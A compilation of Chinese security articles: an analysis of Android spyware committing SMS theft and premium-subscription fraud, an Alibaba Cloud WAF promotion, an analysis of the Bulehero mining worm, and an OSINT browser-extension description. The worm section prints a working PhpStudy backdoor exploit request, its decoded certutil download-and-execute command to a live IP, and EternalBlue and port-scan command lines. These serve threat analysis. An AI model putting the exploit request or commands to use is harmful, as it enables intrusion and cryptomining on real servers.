*本文内容收集自全球范围内的媒体与刊物,制作者对其完整性负责,但不对其真实性和有效性负责。

*标注为【外刊】的内容主要来源为英语国家的媒体与刊物,部分内容需要注册免费账号后方可阅读。

导读:何为“间谍”?《说文解字》解释道:“谍,军中反间也。”使用反间计当然需要三寸不烂之舌,这是“谍”的本义。“间”怎么会跟“谍”联系起来了呢?“间”本来写作“闲”,清代文字训诂学家段玉裁为《说文解字》所作的注释说:“开门月入,门有缝而月光可入。”因此“间”的本义就是门缝,泛指缝隙,有缝隙就可以使用反间计了,故称“间谍”。

这期我们分析的间谍软件较上期分析间谍软件RBMusic有较大不同,恶意程序并不是根据控制端发送的不同指令执行不同窃取用户隐私数据的操作,而是从服务端获取代码进行动态加载,实现无声地模拟与广告网站的自动交互包括模拟点击和输入高级服务订阅的授权代码,窃取受害者的短信、账号、设备信息并上传至服务器。

一、样本信息

攻击者将恶意代码集成到应用的广告插件中,所以这四个样本的恶意行为基本相同,都具有获取服务端代码进行动态加载的远控行为和窃取用户短信、账号、设备信息的窃取隐私行为。但是他们的服务器地址有所不同。

应用名  包名  MD5  版本 
Collate Face Scanner  com.hello.sweetangle.horoscope  6a0d00632d4aa7dac7668b4ee5db708e  1.1.2 
Ignite Clean  com.Ignite.amino.clean  2dfc268c4b791a5af0e4e19837a64144  7.3 
Antivirus Security  com.anti.mysecurity  e6ed729151b98cb2aad0e4ef1beabf47  1.1.2 
Beach Camera  com.tr.rushphoto  a1b5372f3abb8d3bbaa5858f44726523  4.2 

表 1-1 样本信息

二、程序运行框架

2.1 流程图

恶意软件只攻击目标国家。大多数受感染的应用程序都包含一个移动国家代码列表(MCC),但它会把美国或加拿大排除在外。受害者必须使用其中一个国家的SIM卡才会继续执行动态加载DEX文件操作。程序开始从服务器获取动态加载 DEX文件的代码,加载的类名、函数名以及参数。申请开启通知权限,启动监听短信通知服务,如果程序接收到短信通知会发送一个广播。接着加载DEX文件,在DEX文件中注册接收短信信息的广播,上传用户账户以及设备信息,并解析从服务端返回的数据包括需要加载的订阅高级服务的网页url、授权代码、匹配短信信息的正则表达式、以及模拟点击的javascript代码等。然后加载网页和javascript代码模拟点击。等待带有确认代码的SMS消息,并使用正则表达式提取它。最后将获取的设备和短信等信息上传至服务器。

图 2-1 流程图 

2.2 远控框架

从服务器获取动态加载DEX文件的代码,加载的类名、函数名以及参数。参数包含DEX文件中所用到的服务器地址。第二阶段从传入的参数服务器地址中获取需要加载的订阅高级服务的网页url、授权代码、匹配短信信息的正则表达式、以及模拟点击的 javascript代码等信息。

图2-2远控框架

三、病毒技术原理分析

3.1 监听短信

注册PermissionActivity用于管理通知权限。注册NoteService用于监听短信通知。

图2-3注册组件

检测应用是否开启通知权限。

图2-4检测通知权限

如果应用没有开启相应权限。则弹框请求权限。

图2-5请求通知权限

如果应用已开启通知权限,监听短信通知,获取短信内容并发送发action_text广播。

图2-6监听短信通知

权限请求界面结束时获取各种设备信息并上传至服务器。

图2-7获取设备信息

将获取的设备信息上传至服务器:http://171.***.25.250.18000/backend/api/collect。

图2-8上传设备信息

3.2 加载DEX

病毒在应用的Application初始化时加入了自己的代码,并将自己代码集成在mopub广告插件中。

图2-9程序开始调用

获取SIM卡的移动国家码和移动网络码,排除美国和加拿大两个国家。启动线程。

图2-10获取SIM卡信息

连接服务器:http://3.***.143.***/api/shAKNLHIsX?k=Y29tLmhlbGxvLnN3ZWV0YW5nbGUuaG9yb3Njb3BlIzQ2MDAx0LJ。服务器 url的K值是根据包名、SIM卡信息、随机数而产生的。

图2-11连接服务器

获取服务器返回值,返回的数据已经过DES加密。

图2-12获取服务器返回数据

将获取的返回值保存到配置文件中并进行DES解密。密钥为whijgyxx硬编码在代码中。

图2-13解密服务器返回数据

解析并以换行符分割数据得到以下数据。

1.https://tb‐eu‐jet.***‐eu‐central‐1.***.com/s8‐5‐release:用于获取将要动态加载的dex文件代码。

2.http://18.***.46.15/ :作为参数传入DEX文件的函数调用。

3.tdelXB :作为参数传入DEX文件的函数调用。

4.com.plane.internal.Entrance :作为加载DEX文件的类名。

5.initialize :作为加载DEX文件的函数调用。

图2-14解析数据

连接服务器:https://tb‐eu‐jet.***‐eu‐central‐1.*** .com/s8‐5‐release, 获取DEX文件代码。将获取的代码写入最开始创建的文件中。

图2-15从服务器下载DEX文件

循环读取文件,每次读取128字节写入另一文件中,形成真正将要加载的DEX文件。

图2-16创建需加载的DEX文件

加载DEX文件。并调用com.plane.internal.Entrance类中的函数initialize。传入参数http://18.***.46.15/和 tdelXB。

图2-17加载DEX文件

3.3订阅服务

将传入的参数配置为服务器url和TAG_SMS。

图2-18配置参数

注册广播,用于接收短信通知所发送的广播从而获取短信内容。

图2-19注册广播

获取设备信息上传至服务器:http://cp****.com/backend/api/v1/dsp/cpi/postback/

图2-20获取设备信息并上传

获取用户设备信息以及用户账号信息并上传至服务器:http://18.***.46.15/api/ldjb/。不同应用上传的服务器地址不一定一样,http://18.***.46.15/api/ldjb/这个地址获取不到返回数据,所以我们从服务器地址为 http://52.***.93.217/api/ldjb/这个地址中获取了返回数据。

图2-21获取用户账号信息并上传

获取用户账号信息,并将获取的账号信息进行字符替换。

图2-22获取用户账号信息

接收服务器返回数据,数据被加密。

图2-23接收服务器返回数据

解密返回数据,密钥是将本机IMSI、唯一序列号、包名经过一定处理得到的。

图2-24解密服务器返回数据

解析从服务器获取的数据,并将数据保存为JSON格式。

图2-25解析服务器返回数据

初始化WebView,实现javascript与Java的交互。

图2-26初始化WebView

加载网页。加载的网页地址是上面已解析的服务器返回值,根据不同的地区设置不同的Ajax异步请求字段。

图2-27加载网页

当网页加载完成发送MSG_HOLD消息。

图2-28发送MSG_HOLD消息

监听消息,根据不同的消息标志执行不同操作。

图2-29监听消息

接收MSG_HOLD(网页加载完成)消息。通过加载javascript代码,实现javascript与Java互动,调用 onPageDump函数。

图2-30加载javascript代码

通过加载上方服务器返回的cmd标签值来加载javascript代码模拟点击,订阅服务。

图2-31模拟点击服务

服务订阅完成,等待带有确认代码的SMS消息,并使用正则表达式提取短信内容。

图2-32提取短信内容

所以工作完成后,将获取的短信、设备、错误码、网络状况等信息上传至服务器。

图2-33获取短信、设备信息

将获取的信息上传至http://18.*** .46.15/api/report。

图2-34上传短信、设备信息

4.服务器域名统计

包名:com.hello.sweetangle.horoscope

http://3.***.143.26/api/sh%s?k=%s

https://tb-eu-jet.***-eu-central-1.****.com/s8-5-release

http://18.***.46.15/

包名:com.Ignite.amino.clean

http://3.***.143.26/api/ckwsI3?icc=

http://tb-eu-jet.***-eu-central-1.****.com/s8-5-dsp-release

http://52.77.93.217/

包名:com.tr.rushphoto

http://3.***.143.26/api/sh%s?k=%s

https://tb-eu-jet.***-eu-central-1.****.com/s8-7-release

http://18.***.46.15/

包名:com.anti.mysecurity

http://3.***.143.26/api/ckwkc2?icc=

http://tb-eu-jet.***-eu-central-1.****.com/s8-5-dsp-release

http://18.***.46.1

四、安全建议

1)让你的设备保持最新,最好将它们设置为自动补丁和更新,这样即使你不是最熟悉安全的用户,你也能得到保护。

2)坚持去正规应用商店下载软件,避免从论坛等下载软件,可以有效的减少该类病毒的侵害。

3)关注”暗影实验室”公众号,获取最新实时移动安全状态,避免给您造成损失和危害。

4)安装好杀毒软件,能有效的识别已知的病毒。

*本文作者:暗影安全实验室,转载请注明来自FreeBuf.COM

应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在,也正是这些针对Web应用的安全威胁促使了WAF这个产品的不断发展和进化。同时,各种机器学习算法和模型也被不断提出和应用在WAF等安全产品中,以期望解决这些风险。

然而这些算法大多都以监督学习为主,通过标注的正负样本数据,构建针对特定攻击类型的分类模型。安全领域通常面临着「问题空间不闭合」、「正负样本空间严重不对称」等通用问题,只是利用机器学习算法做攻击检测同传统安全检测技术一样,并不能解决「漏误报难平衡」、「覆盖规模与检测性能难平衡」等问题。

那阿里云WAF智能防御体系AI内核是如何突破这些问题的?本文就来一探究竟。

阿里云WAF 已入选Gartner 2019 WAF魔力象限,且是亚太唯一入围的厂商,同时阿里云WAF算法能力被Gartner评为强势功能。云WAF AI内核为云WAF提供核心机器智能能力,为客户提供精细化个性化智能化的防护,最大程度降低安全风险。AI驱动的智能安全系统趋势明显,所带来的收益也会越来越大。

_

阿里云WAF-AI内核技术简介

在阿里云WAF的智能防御体系中,内嵌一颗AI内核,不同于以往的只关注攻击检测的算法或规则。阿里云WAF-AI内核采用「流量分层治理」与「千站千面防护」的智能安全思想,将流量整体分为白、灰、黑三大层,在每一层中部署不同类型的机器智能模型(主动防御模型、异常检测模型、LTD攻击检测模型、故障预警模型、漏报感知模型、误报感知模型等),各层之间的各个智能模型各司其职、各体自洽、各级联动,共同协同形成一套对抗应用层基础威胁的决策智能体。同时,对不同的站点利用机器智能自主生成自适应与该站点业务的防护规则或模型,即一千个站点有着一千套不同的定制化的防御体系,相当于增加了成千上万的安全专家与黑客攻击进行对抗,总体形成精细化个性化的智能安全系统。

主动防御模型

主动防御采用阿里云自研的流量模式学习算法自动学习域名的合法流量,利用无监督的方式,对每个站点合法访问流量进行学习和刻画,机器自主生成对白流量的安全白规则。同时在线上生成数百万条规则,相当于增加了成千上万的安全专家。

异常检测模型

异常检测模型同样利用「千站千面」的思想,采用多种异常检测器从请求片段、时序序列等各种维度识别每个站点的灰流量,机器自主生成对灰流量的数百万个检测模型;

攻击检测模型

LTD攻击检测模型(Locate-Then-Detect)是基于机器视觉方法的深度学习攻击检测模型,由两个深度神经网络组成,分别为PLN(Payload Locating Network 攻击载荷靶向定位网络)与PCN(Payload Classification Network 攻击载荷分类网络)。通过两个深度神经网络的结合,可以准确的定位恶意Payload所在的位置,并对其类型进行精准识别。LTD一方面借助深度学习强大的特征提取能力,增强了对威胁检测的泛化,能够发现更多变种攻击,另一方面LTD模型结合了Object Detection和注意力机制的思想,首次解决了深度学习在网络攻击检测领域的可解释性问题。该成果已入选人工智能顶级学术会议IJCAI 2019。

其他模型

除此之外,阿里云WAF AI内核还具备故障预警模型、漏报主动感知模型、误报主动感知模型等。

阿里云WAF AI内核的整体思想「分层治理」和「千站千面」属于较大的技术创新变革,不仅仅可以应用在应用层的安全检测中,在其他安全场景下也能适用,是通用的智能安全系统的核心范式。

阿里云WAF简介

阿里云Web应用防火墙(Web Application Firewall,简称WAF)基于云安全大数据和智能计算能力,通过防御SQL注入、XSS跨站脚本、常见Web服务器插件漏洞、木马上传、非授权核心资源访问等OWASP常见Web攻击,对网站或者App的业务流量进行恶意特征识别和防护,将正常、安全的流量回源到服务器。避免网站或App业务服务器遭恶意入侵、保障业务核心数据安全、解决因恶意攻击导致的服务器性能异常问题。

值得一提的是,Web应用防火墙依托阿里云强大的计算和数据处理能力,通过业界领先的AI深度学习方法,在降低误报率的同时有效地提高了检出率。同时,Web应用防火墙可以基于用户业务访问端上的模型收集和大数据分析能力准实时处理高危请求。另外,Web应用防火墙还提供自动报警和全局响应规则的同步下发和升级功能。

阿里云Web应用防火墙适用于金融、电商、o2o、互联网+、游戏、政府、保险等行业各类网站或App业务的Web应用安全防护。

Web应用防火墙可以帮助用户解决以下业务应用安全问题:

防数据泄密:避免因黑客的注入入侵攻击,导致网站核心数据被拖库泄露。

防御恶意CC攻击:通过阻断海量的恶意请求,保障网站可用性。

阻止木马上传、网页篡改,保障网站的公信力。

提供虚拟补丁:针对网站被曝光的最新安全漏洞,最大可能地提供快速修复规则。

Web应用防火墙部署在网络出入口位置,通过智能防护引擎、专家防护规则、主动防御检测引擎并结合云端威胁情报能力,实时识别Web攻击以及恶意Web请求,根据预先配置的防护策略实时防御,从而保障网站应用的安全性与可用性。

阿里云WAF应用的主要技术

  1. 正则 + AI双引擎检测技术

  2. Antibot实时模型算法反爬技术

  3. 大数据威胁情报 + 百万级IP爬虫/黑名单一键封禁

  4. 数据泄露防护技术

  5. 海量日志存储及智能检索技术

阿里云WAF技术特点和优势:

阿里云WAF服务于对Web安全、CC攻击、应用层负载均衡与限速、业务安全、数据风控有需求的云上云下用户,经过多年的技术积累,在传统Web应用防火墙的基础技术架构之上进行了多项技术创新:

业务功能拓展:

阿里云WAF除传统WAF产品所支持的基础Web攻击类防护功能、CC防护、页面防篡改以外,额外拓展了如下功能特性:
1) 业务安全防护: 线上票务系统恶意查询/占座、论坛垃圾帖、恶意注册、高风险支付等

2) 客户端SDK安全联动,无需修改服务器端逻辑

3) 基于神经网络深度学习和语义分析的攻击检测技术

4) 基于请求内容类型特征概率分析的异常检测技术

5) 指向性黑客威胁情报分析与溯源

6) 恶意爬虫防护

7) 敏感信息泄露检测与防护

8) 千万级海量恶意IP库联动

9) 手机号、银行卡、身份证信息数据风控

10) 用户网站业务性能分析

11) 海量访问日志、攻击日志存储与自定义分析

12) 支持安全应用商店:用户可以直接通过云盾Web应用防火墙中的生态商店一键开启第三方合作方SaaS安全服务商提供的安全功能特性

13) 采用云方式接入,跨多云环境统一管控:云盾Web应用防火墙基于云SaaS模式提供给用户,接入节点遍布全球,国际版配置支持全球同步和任意国家节点智能就近接入。

威胁检测/拦截方法创新:

1) 基于深度学习的实时分析与拦截:

将HTTP请求中的文本图像化表示,使用深度卷积神经网络对不同攻击类型的样本进行训练,避免人工提取和维护特征,通过添加样本提升模型的检测能力。

分离式GPU处理平台,通过模型调优和推理引擎优化,时延<1.5ms (一般平台时延在5ms以上)

2) 数据风控与业务安全防御技术:

流式回应注入采集脚本,用户接入无需改造自身服务逻辑。

云端直接集成大数据风控、人机识别能力。

3) 智能CC防护技术:

对全量用户正常流量基线建模,对比基线数据模型实时检测用户流量异常发现cc攻击事件,并自动产生正则表达式规则,生成并下发决策动作。

解决了传统CC防护规则配置繁琐,用户学习门槛高,配置项只能基于经验进行配置,容易误杀漏杀的问题。

4) 基于隐性马尔科夫过程的异常请求分析技术:

对用户正常流量中的请求参数进行文本归一化映射,对字符分布、字串长度进行隐马序列概率模型建模,实时对于用户流量中偏移正常概率的异常请求进行异常拦截、进一步攻击识别等后续工作。

5) 语义分析拦截引擎:

传统基于关键字正则表达式的SQL注入攻击检测、XSS攻击检测方法容易误杀,且对于注释变形、字符串语法变形等高级攻击规避方法的检测效果差。

语义分析拦截引擎基于实际SQL语句、XSS语句词法、语法分析结合威胁等级综合判断攻击行为,解决了对于高级黑客变形手段的攻击检测、拦截问题。

6) 行为分析引擎:

传统WAF检测引擎基于特定的攻击特征进行攻击识别,无法检测业务层的异常,例如刷票、抢红包、恶意占座等场景。

云盾WAF的行为分析引擎对请求中的关键行为进行定义、识别。通过分析行为分布、个体行为历史特征、行为跳转概率、停留时长、时间和地区分布特征等行为上下文信息,分析识别业务层异常。

线上业务实测可以降低99.8%的验证码、滑块弹出场景,提升用户体验。

7) 全球分布式限流:

传统的令牌桶机制可以较好的解决单机限流问题,但是在云上业务应用场景下常见跨单机、跨集群、跨地域的分布式限流场景,使用传统单机技术难以解决。

本系统通过分布式协议, 结合预估-租约-动作执行的整体方案, 达到了可伸缩,低延时的资源全球统一管理效果。

通过实现本系统的匹配接口和动作执行接口,可在限流的同时减少对用户体验的影响。如基于用户流量价值的限流,或基于等待时间的限流。

8) 云+SDK整合拦截技术:

传统WAF部署在网关端,无法直接获取用户客户端环境的信息执行强安全身份校验,云盾WAF通过与安全SDK联动,结合终端指纹、云上威胁判断和人机交互识别滑块/验证码提供传统网关型WAF无法实现的强身份校验和通信隧道加密的功能。

9) 无缓存检测技术:

传统WAF需要对需要检测的数据进行缓存,在高并发场景下会存在大量的内存消耗,云盾WAF通过缓存检测过程中检测状态机的快照状态,不需要对具体的被检测数据进行缓存,可以支持超过1Gb的数据检测深度(当前市面上的商业化WAF普遍在100Mb以内)。

10)回应修改与脚本插入技术:

云盾WAF基于自研检测引擎支持对所处理流量进行HTML标签粒度的内容修改,可以动态插入新元素、替换现有流量数据,做到在不修改用户服务器端代码的情况下做到修改业务逻辑、插入执行代码等工作。

11)主动防御模型

云盾WAF通过主动对用户的域名流量学习,定义出哪些是“白”,以达到最佳的防护效果的一种思路,目前主要采用归一化的技术来将用户流量中的合法的URL,参数通过模型自动生成正则表达式来表示。

安全事件分析方法创新:

1) 黑客溯源技术:

通过对攻击者的攻击会话进行追踪,持久化的跟踪黑客攻击路径,云盾WAF可以分析单个黑客的攻击链条、并捕获真人黑客的定向web攻击。

2) 大数据系统联动与恶意IP情报系统:

通过对流量日志特征分析挖掘恶意IP,如代理IP、各类爬虫IP、肉鸡IP等多种情报信息。通过将恶意IP情报系统与云防护引擎联动实现协同防御。

3) 全量日志存储与分析检索:

基于飞天大数据基础设施,所有经过云WAF处理的数据在经过用户同意后可以做到PB级别全量数据存储,并进行基于自定义统计语句的快速自定义实时分析和报表定义,并可以作为数据源与用户自有的安全数据分析系统进行数据对接。

4) 客户业务质量分析:

云盾WAF的数据分析系统可以基于用户业务返回值、延迟时间、访问分布分析客户业务的实际运行情况与运行质量,为用户提供性能优化建议。

5) 实况数据大屏

基于实时大数据分析技术和三维数据呈现渲染,云盾WAF提供实时的拦截报警大屏,可以通过WEB端或者YUNOS终端智能设备作为投屏源,帮助用户实时感知安全威胁。

技术架构创新:

1) 大规模分布式应用层转发集群

2) 纵深应用层防御体系

3) 线上线下统一安全管理

4) OpenAPI管控接口

5) 安全与转发平面分离、业务沙箱

阿里云WAF获奖情况:

  1. 作为亚太唯一厂商入选2019 Gartner WAF魔力象限,2018年进入Gartner亚太地区报告

  2. 连续两年获得Frost&Sullivan 大中华区云WAF市场占有率第一

  3. 获得CNCERT 2018年网络安全创新产品一等奖

  4. 产品的Antibot能力进入到Forrester全球技术评测第一阵营

  5. 荣获Freebuf 2016年互联网安全创新大会”年度云安全产品及服务”

  6. 2017、2018年两次获得阿里云产品飞天奖、云鼎奖

概述

近日,阿里云安全团队监控到Bulehero挖矿蠕虫进行了版本升级,蠕虫升级后开始利用最新出现的PHPStudy后门漏洞作为新的攻击方式对Windows主机进行攻击,攻击成功后会下载门罗币挖矿程序进行牟利。该挖矿程序会大肆抢占服务器CPU资源进行门罗币的挖掘,造成服务器卡顿,严重影响正常业务运行,甚至造成业务终端。关于该蠕虫最早曝光于2018年7月,蠕虫自出现后频繁更新,陆续加入多达数十种的的攻击方式,可以预计该黑客团伙将会不断的寻找新的攻击方式来植入其恶意程序。建议用户及时排查自身主机是否存在安全漏洞,并关注阿里云安全团队的相关文章。

背景介绍

Bulehero

Bulehero挖矿蠕虫最早出现于2018年初,初次曝光于2018年8月,因最早使用bulehero.in域名被命名为Bulehero。该蠕虫专注于攻击Windows服务器,通过植入恶意挖矿软件进行牟利。它使用多种复杂的攻击方式进行传播,自出现后更新频繁,不断的将新的攻击方式加入自己的武器库。

PhpStudy后门漏洞

PhpStudy是国内的一款免费的PHP调试环境的程序集成包,在国内有着近百万的PHP语言学习者和开发者用户。在2019年9月20日,网上爆出PhpStudy存在“后门”:黑客早在2016年就编写了“后门”文件,并非法侵入了PhpStudy的官网,篡改了软件安装包植入“后门”。该“后门”具有远程控制计算机的功能,可以远程控制下载运行脚本实现用户个人信息收集。据报道黑客利用该漏洞共非法控制计算机67万余台,非法获取大量账号密码类、聊天数据类、设备码类等数据10万余组。该“后门”除了会造成挖矿和信息泄露,还有可能被勒索病毒利用,服务器关键数据被勒索病毒加密后将无法找回,给被害者造成大量的数据、经济损失。

蠕虫分析

攻击行为分析

攻击者会向被攻击的服务器发送一个利用漏洞的HTTP GET请求,恶意代码存在于请求头的Accept-Charset字段,字段内容经过base64编码。解码后可以发现这是一段windows命令:利用certutil.exe工具下载download.exe

GET /index.php HTTP/1.1Connection: Keep-Alive
Accept: */*
Accept-Charset: c3lzdGVtKCdjZXJ0dXRpbC5leGUgLXVybGNhY2hlIC1zcGxpdCAtZiBodHRwOi8vNjAuMTY0LjI1MC4xNzA6Mzg4OC9kb3dubG9hZC5leGUgJVN5c3RlbVJvb3QlL1RlbXAvZ2Jubm5teXdrdmd3aGZxMTM5OTAuZXhlICYgJVN5c3RlbVJvb3QlL1RlbXAvZ2Jubm5teXdrdmd3aGZxMTM5OTAuZXhlJyk7ZWNobyBtZDUoJ3BocHN0dWR5Jyk7
Accept-Encoding: gzip,deflate
Accept-Language: zh-cn
Referer: http://xxx:80/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xxx

解码后内容:

system('certutil.exe -urlcache -split -f http://60.164.250.170:3888/download.exe %SystemRoot%/Temp/gbnnnmywkvgwhfq13990.exe & %SystemRoot%/Temp/gbnnnmywkvgwhfq13990.exe');echo md5('phpstudy');

被感染主机行为


1

如上图是恶意文件在主机中的行为流程图,download.exe是Bulehero的下载器,会下载名为ScarupnpLogon.exe
的文件。该文件会释放多个打包的恶意文件,这些恶意文件可分为三个模块:挖矿模块、扫描模块、攻击模块。

· 挖矿模块:该模块进行门罗币的挖矿,Bulehero在该版本中并未使用公共矿池进行挖矿,改用自建的矿池代理进行挖矿任务分发,因此可以避免暴露钱包地址,防止安全研究人员的跟踪。

· 扫描模块:该模块会扫描互联网的特定开放端口,并将扫描结果写入到名为Result.txt的文件中

C:\Windows\gstmlepnk\ntkpmzgif\uktkebigm.exe -iL C:\Windows\gstmlepnk\ntkpmzgif\ip.txt -oJ C:\Windows\gstmlepnk\ntkpmzgif\Result.txt --open --rate 4096 -p 445

· 攻击模块:
该模块集成多种漏洞利用工具,读取扫描结果并攻击其他主机,如下进程是其使用永恒之蓝漏洞模块进行攻击。

C:\Windows\gstmlepnk\UnattendGC\specials\svschost.exe --InConfig C:\Windows\gstmlepnk\UnattendGC\specials\svschost.xml --TargetIp 106.14.149.128 --TargetPort 445 --DllPayload C:\Windows\gstmlepnk\UnattendGC\AppCapture64.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll

我们对比Bulehero升级前的样本行为,发现它在主机中的行为并未有较大改变,依然是通过download.exe下载器下载文件包,并释放三个功能模块。但是它为了隐藏自身改变了恶意文件命名方式,升级前通过混淆的系统文件名进行伪装,升级后全部为随机的文件路径和文件名。虽然随机文件名相对于混淆系统文件名更容易暴露自己,但这种策略的好处是可以避免被其他挖矿病毒通过进程指纹清除,在资源竞争中占据优势。

· 其他行为
使用netsh ipsec安全工具,阻断存在漏洞的服务端口,防止其他竞争者进入。

netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
netsh ipsec static add filteraction name=BastardsList action=block

修改主机host防止其他竞争者劫持域名。

cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM

时间线

我们根据Bulehero的恶意文件编译时间和文件上传时间,可以确定Bulehero的升级时间是在10月6号的23点,距离PhpStudy后门漏洞利用方式曝光只有2周。如果企业存在漏洞,去除中间的国庆长假,真正留给企业的修复之间只有几天。从恶意文件下载次数来看,截止到发稿前已经有1万5千次的下载,可见该蠕虫传播速度极快,造成的破坏性很大。

2_

2_2

其他攻击方式

除了此次更新增加的PhpStudy后门漏洞,Bulehero还使用多种攻击方式,如下是其他已知的攻击方式。

_1

IOCs

60[.]164[.]250[.]170
185[.]147[.]34[.]136
fky[.]dfg45dfg45[.]best
uu[.]dfg45dfg45[.]best
uu1[.]dfg45dfg45[.]best
ox[.]mygoodluck[.]best
oo[.]mygoodluck[.]best

安全建议

企业需要对涉及的漏洞及时修复,否则容易成为挖矿木马的受害者。

2、建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹shell这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽恶意网站,达到阻断入侵的目的。此外,云防火墙独有的虚拟补丁功能,能够帮助客户更灵活、更“无感”地阻断攻击。

3、对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。

图片1.png

继2018年在上海成功举办EISS企业信息安全峰会后,安全+ 又相继在北京、深圳成功举办了EISS峰会。自2016年EISS创办以来,安全+ 始终以“直面信息安全挑战,创造最佳实践”为主题,放眼聚焦企业信息安全新技术与实践应用等热点话题,同时致力于推进企业信息安全体系建设,加强企业信息安全管理,助推企业信息安全生态圈的健康发展。

图片2.png

本次EISS-2019企业信息安全峰会确定于2019年11月22日在上海举行。我们诚邀多位业内安全大咖作为演讲嘉宾分享实战经验。届时,约有300多位来自于各行业的企业信息安全负责人、安全专家出席本次峰会,共同探讨企业信息安全现状及未来。

WechatIMG119.jpeg

WechatIMG117.jpeg

详细议程及报名方式可扫描下列二维码

图片3.png

您也可登录本次大会官网随时了解大会最新动态:

https://www.anquanjia.net.cn/eiss2019sh

今天给大家介绍的是一款针对开源情报收集任务的浏览器扩展,这款扩展名叫Mitaka,希望该工具可以给广大研究人员的OSINT搜索研究提供帮助。

Mitaka可以完成的任务包括但不限于:

1、从选取的文本块提取或重构IoC,例如将example[.]com更改为example.com,将test[at]example.com更改为[email protected],或将hxxp://example.com更改为http://example.com

2、基于多种引擎实现搜索或扫描任务,例如VirusTotal、urlscan io、Censys和Shodan等。

功能介绍

支持的IoC类型

名称 描述. 样例
text 任意文本 any string(s)
ip IPv4地址 8.8.8.8
domain 域名 github.com
url URL地址 https://github.com
email 电子邮件地址 t[email protected]
asn ASN AS13335
hash md5 / sha1 / sha256 44d88612fea8a8f36de82e1278abb02f
cve CVE编号 CVE-2018-11776
btc 比特币地址 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
gaPubID Google Adsense Publisher ID pub-9383614236930773
gaTrackID Google Analytics Tracker ID UA-67609351-1

支持的搜索引擎

名称 url 支持的类型
AbuseIPDB https://www.abuseipdb.com ip地址
Apility https://apility.io ip地址 / 域名/ 电子邮件/ asn
archive.org https://archive.org url
archive.today http://archive.fo url
BGPView https://bgpview.io ip地址 / asn
BinaryEdge https://app.binaryedge.io ip地址 / 域名
BitcoinAbuse https://www.bitcoinabuse.com 比特币
Blockchain.com https://www.blockchain.com 比特币
BlockCypher https://live.blockcypher.com 比特币
Censys https://censys.io ip地址 / 域名/ asn / 文本
crt.sh https://crt.sh 域名
DNSlytics https://dnslytics.com ip地址 / 域名
DomainBigData https://domainbigdata.com 域名
DomainTools https://www.domaintools.com ip地址 / 域名
DomainWatch https://domainwat.ch 域名/ 电子邮件
EmailRep https://emailrep.io 电子邮件
FindSubDomains https://findsubdomains.com 域名
FOFA https://fofa.so ip地址 / 域名
FortiGuard https://fortiguard.com ip地址 / url / cve
Google Safe Browsing https://transparencyreport.google.com 域名/ url
GreyNoise https://viz.greynoise.io ip地址 / 域名/ asn
Hashdd https://hashdd.com ip地址 / 域名/ hash
HybridAnalysis https://www.hybrid-analysis.com ip地址 / 域名/ 哈希(sha256 only)
Intelligence X https://intelx.io ip地址 / 域名/ url / 电子邮件/ btc
IPinfo https://ipinfo.io ip地址 / asn
IPIP https://en.ipip.net ip地址 / asn
Joe Sandbox https://www.joesandbox.com 哈希
MalShare https://malshare.com 哈希
Maltiverse https://www.maltiverse.com 域名/ 哈希
NVD https://nvd.nist.gov cve
OOCPR https://data.occrp.org 电子邮件
ONYPHE https://www.onyphe.io ip地址
OTX https://otx.alienvault.com ip地址 / 域名 / 哈希
PubDB http://pub-db.com gaPubID / gaTrackID
PublicWWW https://publicwww.com 文本
Pulsedive https://pulsedive.com ip地址 / 域名/ url / 哈希
RiskIQ http://community.riskiq.com ip地址 / 域名 / 电子邮件 / gaTrackID
SecurityTrails https://securitytrails.com ip地址 / 域名 / 电子邮件
Shodan https://www.shodan.io ip地址 / 域名 / asn
Sploitus https://sploitus.com cve
SpyOnWeb http://spyonweb.com ip地址 / 域名 / gaPubID / gaTrackID
Talos https://talosintelligence.com ip地址 / 域名
ThreatConnect https://app.threatconnect.com ip地址 / 域名 / 电子邮件
ThreatCrowd https://www.threatcrowd.org ip地址 / 域名 / 电子邮件
ThreatMiner https://www.threatminer.org ip地址 / 域名 / 哈希
TIP https://threatintelligenceplatform.com ip地址 / 域名
Urlscan https://urlscan.io ip地址 / 域名 / asn / url
ViewDNS https://viewdns.info ip地址 / 域名 / 电子邮件
VirusTotal https://www.virustotal.com ip地址 / 域名 / url / 哈希
Vulmon https://vulmon.com cve
VulncodeDB https://www.vulncode-db.com cve
VxCube http://vxcube.com ip地址 / 域名 / 哈希
WebAnalyzer https://wa-com.com 域名
We Leak Info https://weleakinfo.com 电子邮件
X-Force Exchange https://exchange.xforce.ibmcloud.com ip地址 / 域名 / 哈希
ZoomEye https://www.zoomeye.org ip地址

支持的扫描引擎

名称 url 支持的类型
Urlscan https://urlscan.io ip地址 / 域名/ url
VirusTotal https://www.virustotal.com url

工具下载

Chrome:【点我下载

FireFox:【点我下载

工具使用

Mitaka这款浏览器扩展可以根据用户所选择的IoC类型来提供不同的功能选项菜单,并为广大用户提供更加丰富的OSINT功能。

工具使用样例

注意:如果你需要使用urlscan.io或VirusTotal扫描功能,那么你需要在工具的选项配置页面中设置你的urlscan.io或VirusTotal的API秘钥。

工具选项

我们可以在该工具的选项配置页面中,根据我们的需要来启用或禁用某个搜索引擎:

工具构建(针对开发者)

这款浏览器扩展基于TypeScript开发,并使用Webpack构建。

